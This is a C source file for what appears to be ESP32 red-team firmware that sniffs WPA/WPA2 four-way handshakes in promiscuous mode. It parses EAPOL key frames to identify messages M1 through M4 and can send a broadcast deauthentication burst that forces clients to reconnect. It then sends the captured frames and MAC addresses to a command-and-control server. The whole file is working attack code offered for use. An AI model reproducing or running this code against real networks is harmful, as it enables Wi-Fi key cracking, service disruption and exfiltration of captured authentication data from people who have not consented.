/* * rt_capture.c * WPA/WPA2 4-way handshake capture via promiscuous mode. * * Captures EAPOL frames (EtherType 0x888E) from data frames on the * target channel. Identifies the 4 handshake messages via the Key Info * field and stores them for transmission to C3PO. * * Optionally sends a short deauth burst to trigger client reconnection. */ #include "sdkconfig.h" #if defined(CONFIG_MODULE_REDTEAM) && defined(CONFIG_RT_CAPTURE) #include #include #include "freertos/FreeRTOS.h" #include "freertos/task.h" #include "esp_wifi.h" #include "esp_log.h" #include "rt_capture.h" #include "rt_promisc.h" #include "rt_attack.h" #include "utils.h" #define TAG "RT_CAPTURE" /* ============================================================ * EAPOL / 802.1X constants * ============================================================ */ /* EtherType for 802.1X authentication */ #define ETHERTYPE_EAPOL 0x888E /* EAPOL Key Info flags (big-endian in the frame) */ #define KEY_INFO_MIC (1 << 8) /* bit 8: MIC present */ #define KEY_INFO_SECURE (1 << 9) /* bit 9: secure */ #define KEY_INFO_INSTALL (1 << 6) /* bit 6: install */ #define KEY_INFO_ACK (1 << 7) /* bit 7: ACK */ #define KEY_INFO_PAIRWISE (1 << 3) /* bit 3: pairwise */ /* IEEE 802.11 data frame with LLC/SNAP encapsulation */ /* Data frame header: 24 bytes (no QoS) or 26 bytes (QoS) */ /* LLC/SNAP: AA AA 03 00 00 00 [ethertype 2 bytes] */ /* ============================================================ * State * ============================================================ */ static atomic_bool s_active = ATOMIC_VAR_INIT(false); static TaskHandle_t s_task = NULL; static rt_capture_result_t s_result; /* Capture parameters */ static uint8_t s_target_bssid[6]; static uint8_t s_target_channel; static bool s_send_deauth; /* ============================================================ * Identify EAPOL handshake message number from Key Info * ============================================================ * * M1: AP→Client ACK=1, MIC=0, Install=0, Pairwise=1 * M2: Client→AP ACK=0, MIC=1, Install=0, Pairwise=1 * M3: AP→Client ACK=1, MIC=1, Install=1, Pairwise=1 * M4: Client→AP ACK=0, MIC=1, Install=0, Pairwise=1, nonce=0 */ static int identify_eapol_msg(const uint8_t *eapol, size_t len) { /* Minimum EAPOL-Key frame: 4 (802.1X hdr) + 95 (key frame) = 99 bytes */ if (len < 99) return 0; /* 802.1X header: version(1) + type(1) + length(2) */ uint8_t eapol_type = eapol[1]; if (eapol_type != 3) return 0; /* type 3 = EAPOL-Key */ /* Key descriptor: type(1) at offset 4 */ /* Key Info at offset 5-6 (big-endian) */ uint16_t key_info = (eapol[5] << 8) | eapol[6]; bool ack = (key_info & KEY_INFO_ACK) != 0; bool mic = (key_info & KEY_INFO_MIC) != 0; bool install = (key_info & KEY_INFO_INSTALL) != 0; if (ack && !mic && !install) return 1; /* M1 */ if (!ack && mic && !install) { /* M2 or M4 — distinguish by Key Nonce (offset 17, 32 bytes) */ /* M4 has all-zero nonce */ bool nonce_zero = true; for (int i = 17; i < 17 + 32 && i < (int)len; i++) { if (eapol[i] != 0) { nonce_zero = false; break; } } return nonce_zero ? 4 : 2; } if (ack && mic && install) return 3; /* M3 */ return 0; /* unknown */ } /* ============================================================ * Promiscuous callback — look for EAPOL in data frames * ============================================================ */ static void IRAM_ATTR capture_promisc_cb(void *buf, wifi_promiscuous_pkt_type_t type) { if (type != WIFI_PKT_DATA) return; wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf; const uint8_t *payload = pkt->payload; size_t pkt_len = pkt->rx_ctrl.sig_len; if (pkt_len > 4) pkt_len -= 4; /* strip FCS */ /* Data frame header: minimum 24 bytes */ if (pkt_len < 24 + 8) return; /* header + LLC/SNAP minimum */ /* Check if BSSID matches (addr1 or addr2 or addr3 depending on flags) */ uint16_t fc = payload[0] | (payload[1] << 8); uint8_t to_ds = (fc >> 8) & 0x01; uint8_t from_ds = (fc >> 9) & 0x01; const uint8_t *bssid_field; const uint8_t *src_field; const uint8_t *dst_field; if (to_ds == 0 && from_ds == 1) { /* From AP to client: addr1=dst, addr2=BSSID, addr3=src */ dst_field = payload + 4; bssid_field = payload + 10; src_field = payload + 16; } else if (to_ds == 1 && from_ds == 0) { /* From client to AP: addr1=BSSID, addr2=src, addr3=dst */ bssid_field = payload + 4; src_field = payload + 10; dst_field = payload + 16; } else { return; /* WDS or IBSS, skip */ } /* Filter by target BSSID */ if (memcmp(bssid_field, s_target_bssid, 6) != 0) return; /* Determine header length (24 or 26 for QoS) */ uint8_t subtype = (fc >> 4) & 0x0F; size_t hdr_len = 24; if (subtype >= 8) hdr_len = 26; /* QoS data */ if (pkt_len < hdr_len + 8) return; /* LLC/SNAP header: AA AA 03 00 00 00 [ethertype] */ const uint8_t *llc = payload + hdr_len; if (llc[0] != 0xAA || llc[1] != 0xAA || llc[2] != 0x03) return; /* EtherType at offset 6-7 of LLC/SNAP (big-endian) */ uint16_t ethertype = (llc[6] << 8) | llc[7]; if (ethertype != ETHERTYPE_EAPOL) return; /* EAPOL frame starts after LLC/SNAP (8 bytes) */ const uint8_t *eapol = llc + 8; size_t eapol_len = pkt_len - hdr_len - 8; int msg = identify_eapol_msg(eapol, eapol_len); if (msg < 1 || msg > 4) return; /* Store the frame */ int idx = msg - 1; if (s_result.captured & (1 << idx)) return; /* already have this one */ size_t store_len = eapol_len; if (store_len > RT_CAPTURE_MAX_EAPOL_LEN) store_len = RT_CAPTURE_MAX_EAPOL_LEN; memcpy(s_result.frames[idx].data, eapol, store_len); s_result.frames[idx].len = store_len; s_result.frames[idx].msg_num = msg; s_result.captured |= (1 << idx); /* Track client MAC */ if (msg == 2 || msg == 4) { memcpy(s_result.client, src_field, 6); } else { memcpy(s_result.client, dst_field, 6); } ESP_LOGI(TAG, "Captured EAPOL M%d (%zu bytes) from %02X:%02X:%02X:%02X:%02X:%02X", msg, eapol_len, s_result.client[0], s_result.client[1], s_result.client[2], s_result.client[3], s_result.client[4], s_result.client[5]); /* Check if complete */ if (s_result.captured == 0x0F) { s_result.complete = true; ESP_LOGI(TAG, "Full 4-way handshake captured!"); } } /* Handler for the promiscuous dispatcher */ static const rt_promisc_handler_t s_capture_handler = { .cb = capture_promisc_cb, .filter_mask = WIFI_PROMIS_FILTER_MASK_DATA | WIFI_PROMIS_FILTER_MASK_MGMT, .tag = "capture", }; /* ============================================================ * Short deauth burst (does NOT use the attack lock — internal use) * ============================================================ */ typedef struct __attribute__((packed)) { uint16_t frame_ctrl; uint16_t duration; uint8_t addr1[6]; uint8_t addr2[6]; uint8_t addr3[6]; uint16_t seq_ctrl; uint16_t reason; } deauth_frame_t; static void send_deauth_burst(const uint8_t bssid[6], int count) { deauth_frame_t frame; memset(&frame, 0, sizeof(frame)); frame.frame_ctrl = 0x00C0; /* deauth */ frame.reason = 0x0007; /* Broadcast deauth */ memset(frame.addr1, 0xFF, 6); memcpy(frame.addr2, bssid, 6); memcpy(frame.addr3, bssid, 6); for (int i = 0; i < count; i++) { esp_wifi_80211_tx(WIFI_IF_STA, &frame, sizeof(frame), false); vTaskDelay(pdMS_TO_TICKS(5)); } ESP_LOGI(TAG, "Sent %d deauth frames to trigger reconnection", count); } /* ============================================================ * Capture task * ============================================================ */ static void capture_task(void *arg) { (void)arg; /* Reset result */ memset(&s_result, 0, sizeof(s_result)); memcpy(s_result.bssid, s_target_bssid, 6); /* Register promiscuous handler */ esp_err_t ret = rt_promisc_register(&s_capture_handler); if (ret != ESP_OK) { ESP_LOGE(TAG, "Promisc register failed"); rt_attack_stop(); atomic_store(&s_active, false); s_task = NULL; vTaskDelete(NULL); return; } /* Set channel */ if (s_target_channel > 0 && s_target_channel <= 13) { rt_promisc_set_channel(s_target_channel); } rt_promisc_enable(); ESP_LOGI(TAG, "Capture started on ch=%d for BSSID=%02X:%02X:%02X:%02X:%02X:%02X", s_target_channel, s_target_bssid[0], s_target_bssid[1], s_target_bssid[2], s_target_bssid[3], s_target_bssid[4], s_target_bssid[5]); /* Optionally send deauth to force reconnection */ if (s_send_deauth) { vTaskDelay(pdMS_TO_TICKS(500)); send_deauth_burst(s_target_bssid, 5); } /* Wait for capture to complete or user stop */ while (atomic_load(&s_active) && !s_result.complete) { vTaskDelay(pdMS_TO_TICKS(500)); /* Report progress */ if (s_result.captured) { ESP_LOGD(TAG, "Progress: M1=%c M2=%c M3=%c M4=%c", (s_result.captured & 0x01) ? 'Y' : '-', (s_result.captured & 0x02) ? 'Y' : '-', (s_result.captured & 0x04) ? 'Y' : '-', (s_result.captured & 0x08) ? 'Y' : '-'); } } /* Send results to C2 if we captured anything */ if (s_result.captured) { char buf[128]; for (int i = 0; i < 4; i++) { if (!(s_result.captured & (1 << i))) continue; /* Format: EAPOL|||M| */ /* Send the raw frame via msg_data for C3PO to process */ snprintf(buf, sizeof(buf), "EAPOL|%02X%02X%02X%02X%02X%02X|%02X%02X%02X%02X%02X%02X|M%d|%zu", s_result.bssid[0], s_result.bssid[1], s_result.bssid[2], s_result.bssid[3], s_result.bssid[4], s_result.bssid[5], s_result.client[0], s_result.client[1], s_result.client[2], s_result.client[3], s_result.client[4], s_result.client[5], i + 1, s_result.frames[i].len); msg_data(TAG, buf, strlen(buf), false, ""); /* Send the raw EAPOL bytes */ msg_data(TAG, s_result.frames[i].data, s_result.frames[i].len, (i == 3 || !(s_result.captured & ~((1 << (i+1)) - 1))), ""); } snprintf(buf, sizeof(buf), "Capture done: %s (%d/4 messages)", s_result.complete ? "COMPLETE" : "partial", __builtin_popcount(s_result.captured)); msg_info(TAG, buf, ""); } rt_promisc_unregister(&s_capture_handler); rt_promisc_disable(); rt_attack_stop(); ESP_LOGI(TAG, "Capture stopped: %d/4 messages", __builtin_popcount(s_result.captured)); atomic_store(&s_active, false); s_task = NULL; vTaskDelete(NULL); } /* ============================================================ * Public API * ============================================================ */ void rt_capture_start(const uint8_t bssid[6], uint8_t channel, bool send_deauth) { if (atomic_load(&s_active)) { ESP_LOGW(TAG, "Capture already running"); return; } if (rt_attack_start(RT_ATTACK_CAPTURE) != ESP_OK) { ESP_LOGW(TAG, "Cannot start: another attack running (%s)", rt_attack_name()); return; } memcpy(s_target_bssid, bssid, 6); s_target_channel = channel; s_send_deauth = send_deauth; atomic_store(&s_active, true); xTaskCreatePinnedToCore( capture_task, "rt_capture", 6144, NULL, 6, &s_task, 1 /* Core 1 */ ); } void rt_capture_stop(void) { atomic_store(&s_active, false); } bool rt_capture_is_active(void) { return atomic_load(&s_active); } const rt_capture_result_t *rt_capture_get_result(void) { return &s_result; } #endif /* CONFIG_MODULE_REDTEAM && CONFIG_RT_CAPTURE */